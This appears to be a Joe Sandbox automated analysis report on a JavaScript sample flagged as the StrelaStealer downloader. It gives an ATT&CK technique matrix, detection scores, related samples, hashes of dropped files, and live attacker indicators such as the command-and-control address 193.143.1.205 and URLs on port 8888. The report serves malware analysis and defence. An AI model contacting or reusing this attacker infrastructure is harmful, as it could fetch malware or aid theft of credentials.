Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
301425897285010519.js	8%	Virustotal		Browse
301425897285010519.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/J	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.13.dr, qmgr.db.13.dr	false		high
http://193.143.1.205:8888/J	net.exe, 0000000B.00000002.1364475389.0000018FB0B1E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000D.00000002.2594159596.0000024620400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.12.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000D.00000003.1365323312.00000246202E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.13.dr, qmgr.db.13.dr	false		high
https://www.adobe.co	ReaderMessages.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 0000000B.00000002.1364475389.0000018FB0AE8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000B.00000002.1364475389.0000018FB0B3B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1364475389.0000018FB0AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1364475389.0000018FB0B1E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588717
Start date and time:	2025-01-11 04:34:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	301425897285010519.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.6.155.20, 20.12.23.50, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:35:35	API Interceptor	21x Sleep call for process: powershell.exe modified
22:35:39	API Interceptor	1x Sleep call for process: net.exe modified
22:35:39	API Interceptor	2x Sleep call for process: svchost.exe modified
22:35:46	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183751298714312883.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008373507530683
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5Tv:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfs
MD5:	BE577A5845D92A0D7049C2BC6699D83D
SHA1:	30170124346F52FAEB583F243B48BB73CC1D944E
SHA-256:	E13B24F2588FF9006ECA41A52ED27868D546ED99D4B7D509D408799DE3309E24
SHA-512:	68A3A67D4BC87AF60CDEE975A2768F2F5C5AF7FA27640C84DF25D75879EED3A8D1FD120ED008E1CDE7445B12824A5C2F7986A291580F11ECD08EE52459721FEF
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x11aaf064, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715645614822612
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:Laza9vqcHbrq2UyUVWlW
MD5:	898DE763A2D584DBE601750475D8C04C
SHA1:	92F648470CE6A4C9EE4A7D8A4E8E5994A3F6FB8B
SHA-256:	EF653E717A3EF54E0AF7D645BEF321C7744642249737021CB34EFC09E553605B
SHA-512:	1D0177302D6F259C613819E20531508AA89EFF900CB181D839B21A106CFCDAE49C75EE0B19115E24284A577B2FDCBA14A5408BD835F3A33CEB17F8AAE7F3B102
Malicious:	false
Preview:	...d... ...............X\...;...{......................0.p.....#....{..'#...}E.h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{......................................'#...}.....................v'#...}c..........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08104795861666597
Encrypted:	false
SSDEEP:	3:fKYe15rvGgu08qrrvr+gvrr/yTZGvlllllallVmctlll/Sm1l1:fKz157GZrgn/y+tlALPPv
MD5:	6217BA91527CE4BAA6C005C1F86378E7
SHA1:	5E5858DE8598A109E38B251EC81AEBB4768A309D
SHA-256:	89B93A96C0C1DB47FCFCF9EDC86F4CFF89C2D3F7159779F5A1A5C414F0A24C51
SHA-512:	959736D96A5E48ABD2C0D4A2E11F1E93379C9F53710484C5F7BFDAABB82DFF30301C68BDD439D61D450C63248FDC59D66166E2AEFC17D66184E23F274B4A2391
Malicious:	false
Preview:	oC.).....................................;...{..'#...}c.#....{..........#....{..#....{...i..#....{.V...................v'#...}c.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.201708319380692
Encrypted:	false
SSDEEP:	6:iO4qXvfpY3+q2PsZ2nKuAl9OmbnIFUtSqXvfr5XWZmwsqXvfrgiVkwOsZ2nKuAlz:7xx0+vkcHAahFUtjtW/lTTV51cHAaSJ
MD5:	7072EECECF087CCCE9D7B59D173B62CA
SHA1:	82929AD36A441F0BCBE96095AC2A8C6E1A49E64D
SHA-256:	FF8C682FEE8A8D3F6A7B12B6384463E866D7E6A3E8FFC58CA018B6E0CB6FB777
SHA-512:	12278F76CF8D0AAAA50FBCC9B1A4E6FFAD47F4138CBEAB5D20155DA658F6910662D3A759ECA17B308B323568B02DE92FAAD9843931DE4E75F9F9D2E030E47D7E
Malicious:	false
Preview:	2025/01/10-22:35:39.084 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:35:39.086 1d3c Recovering log #3.2025/01/10-22:35:39.087 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.201708319380692
Encrypted:	false
SSDEEP:	6:iO4qXvfpY3+q2PsZ2nKuAl9OmbnIFUtSqXvfr5XWZmwsqXvfrgiVkwOsZ2nKuAlz:7xx0+vkcHAahFUtjtW/lTTV51cHAaSJ
MD5:	7072EECECF087CCCE9D7B59D173B62CA
SHA1:	82929AD36A441F0BCBE96095AC2A8C6E1A49E64D
SHA-256:	FF8C682FEE8A8D3F6A7B12B6384463E866D7E6A3E8FFC58CA018B6E0CB6FB777
SHA-512:	12278F76CF8D0AAAA50FBCC9B1A4E6FFAD47F4138CBEAB5D20155DA658F6910662D3A759ECA17B308B323568B02DE92FAAD9843931DE4E75F9F9D2E030E47D7E
Malicious:	false
Preview:	2025/01/10-22:35:39.084 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:35:39.086 1d3c Recovering log #3.2025/01/10-22:35:39.087 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126913684676683
Encrypted:	false
SSDEEP:	6:iO4qXvfT/N9+q2PsZ2nKuAl9Ombzo2jMGIFUtSqXvfuE2WZmwsqXvfuE9VkwOsZV:7xbl9+vkcHAa8uFUtj2EJ/l2E9V51cHA
MD5:	266B3F12F17142D58A1CC3FAAE6B91EB
SHA1:	10D1121AFD3ED9855B08B12C3A630919770030A6
SHA-256:	81194F6DBC13A075DDFE5780A8725B733455BFD0BF9397BE42DBF34765C2AB9B
SHA-512:	0D03F96E69C116C6EA21D21AC32EE7EA5171997F81C6EB5C04A9D0FCC4E8FB4899ECD520B0EB4EB72C3C56B34741CB00204ED629A769BCB7F1DF223E53A27CE8
Malicious:	false
Preview:	2025/01/10-22:35:39.177 1e0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:35:39.180 1e0c Recovering log #3.2025/01/10-22:35:39.180 1e0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126913684676683
Encrypted:	false
SSDEEP:	6:iO4qXvfT/N9+q2PsZ2nKuAl9Ombzo2jMGIFUtSqXvfuE2WZmwsqXvfuE9VkwOsZV:7xbl9+vkcHAa8uFUtj2EJ/l2E9V51cHA
MD5:	266B3F12F17142D58A1CC3FAAE6B91EB
SHA1:	10D1121AFD3ED9855B08B12C3A630919770030A6
SHA-256:	81194F6DBC13A075DDFE5780A8725B733455BFD0BF9397BE42DBF34765C2AB9B
SHA-512:	0D03F96E69C116C6EA21D21AC32EE7EA5171997F81C6EB5C04A9D0FCC4E8FB4899ECD520B0EB4EB72C3C56B34741CB00204ED629A769BCB7F1DF223E53A27CE8
Malicious:	false
Preview:	2025/01/10-22:35:39.177 1e0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:35:39.180 1e0c Recovering log #3.2025/01/10-22:35:39.180 1e0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.966341440800123
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDsBdOg2HmtAcaq3QYiubPyP7E4T3y:Y2sRdshdMHmJ3QYhbC7nby
MD5:	E9F385F368FB91FB721783B91BEE5E3D
SHA1:	0454BAE92D3C9594C5BD0AA82F0B0C1AA956782F
SHA-256:	F8F12DA5CAD2E78781E7468A01CBEF39EF4B8B820BCE013EF45C476D831507BF
SHA-512:	5FC91DD7CECBF9A9BD6D981B06962E7862536A24F89D24EF13B9723C62CF46C01131E05DB8C2A5CD5FBA582DAF6C630BC5AE8E571E5E0FB559829AB64809A653
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126550535801","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138647},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e863322d-97e1-4a11-9002-062657c005e3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.966341440800123
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDsBdOg2HmtAcaq3QYiubPyP7E4T3y:Y2sRdshdMHmJ3QYhbC7nby
MD5:	E9F385F368FB91FB721783B91BEE5E3D
SHA1:	0454BAE92D3C9594C5BD0AA82F0B0C1AA956782F
SHA-256:	F8F12DA5CAD2E78781E7468A01CBEF39EF4B8B820BCE013EF45C476D831507BF
SHA-512:	5FC91DD7CECBF9A9BD6D981B06962E7862536A24F89D24EF13B9723C62CF46C01131E05DB8C2A5CD5FBA582DAF6C630BC5AE8E571E5E0FB559829AB64809A653
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126550535801","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138647},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.233447181107862
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXfl7j0G:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vB
MD5:	2D19B6331F1AE76D55B7AF6C721BC1FC
SHA1:	14034EF068D03587C69F686A1A5A7145348AD818
SHA-256:	67BAB4188FF64E9A06FD3CAB2DB33F3802322D0E70821F788546DADF096C39FD
SHA-512:	B7E3FC198FD8B76A5952C78D63B2297AD1426B0F65DC77883B005E35FA8F273124734693AA2D52AB8246328D31C238BF01B57CFB06D4BA8D6F8DD58F9EED2934
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.150092843403927
Encrypted:	false
SSDEEP:	6:iO4qXvf6N9+q2PsZ2nKuAl9OmbzNMxIFUtSqXvf7m2WZmwsqXvf9m9VkwOsZ2nKA:7xCN9+vkcHAa8jFUtjDmJ/lo9V51cHAo
MD5:	758201783CF9657C6CE888FCAEC8508C
SHA1:	1FA6C102321C74FFCDC3E3A1F357833307D3B4CA
SHA-256:	0620AA6358A6526BE5837B96B5BA869A25E881D6B0C84E168C250F5EB964F0D2
SHA-512:	271640E1FC674B87A641449E1DFD5A693126283B85EA8162771F0A0F75A8370779E5243FEBBA413407EA72E72EDAB9B3DB7B46A985BEA615E28A5B8847CDCE0A
Malicious:	false
Preview:	2025/01/10-22:35:39.615 1e0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:35:39.680 1e0c Recovering log #3.2025/01/10-22:35:39.686 1e0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.150092843403927
Encrypted:	false
SSDEEP:	6:iO4qXvf6N9+q2PsZ2nKuAl9OmbzNMxIFUtSqXvf7m2WZmwsqXvf9m9VkwOsZ2nKA:7xCN9+vkcHAa8jFUtjDmJ/lo9V51cHAo
MD5:	758201783CF9657C6CE888FCAEC8508C
SHA1:	1FA6C102321C74FFCDC3E3A1F357833307D3B4CA
SHA-256:	0620AA6358A6526BE5837B96B5BA869A25E881D6B0C84E168C250F5EB964F0D2
SHA-512:	271640E1FC674B87A641449E1DFD5A693126283B85EA8162771F0A0F75A8370779E5243FEBBA413407EA72E72EDAB9B3DB7B46A985BEA615E28A5B8847CDCE0A
Malicious:	false
Preview:	2025/01/10-22:35:39.615 1e0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:35:39.680 1e0c Recovering log #3.2025/01/10-22:35:39.686 1e0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438429269728285
Encrypted:	false
SSDEEP:	384:yeCci5G5iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:NVurVgazUpUTTGt
MD5:	95FB4549004423A46AC3BCCC673CD19D
SHA1:	68E5D13CFB0D8CFF9477354E1A293B42CFEE9F8C
SHA-256:	65A56BADAB238C488A81E0C1751D72341B75ECCB60C418FC0862B9BFCBD627A0
SHA-512:	65194E14F9365E297D22379F4C103FF1799DBB98577FBC87E27C3322067CE04107F9A900F69EF49F4905ADF15232E99862DB9C2F1037F089A8A4E8C9EC991EC7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765289185161323
Encrypted:	false
SSDEEP:	48:7MsyJioyVTioy/oy1C7oy16oy1dKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1c:7aJuT5oXjBipb9IVXEBodRBka
MD5:	0F4A0E5EF5D7D482D2D41D1C85361CB7
SHA1:	1EC19A485803B41B483D0D547DB23E59C2EC8612
SHA-256:	F7D35202224AB33F819611FF08AAEA28D65D7EC945066B533A89FE028B8B0A2A
SHA-512:	864EF9334CBF65C20B1F033DD609FA236F951BB6CA9C98E8DEBDCB6C0198529F392D76CCFC493C840B28FF9F0EA0D032A8EECF8799C399131D70E58FF51E84F7
Malicious:	false
Preview:	.... .c......3................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
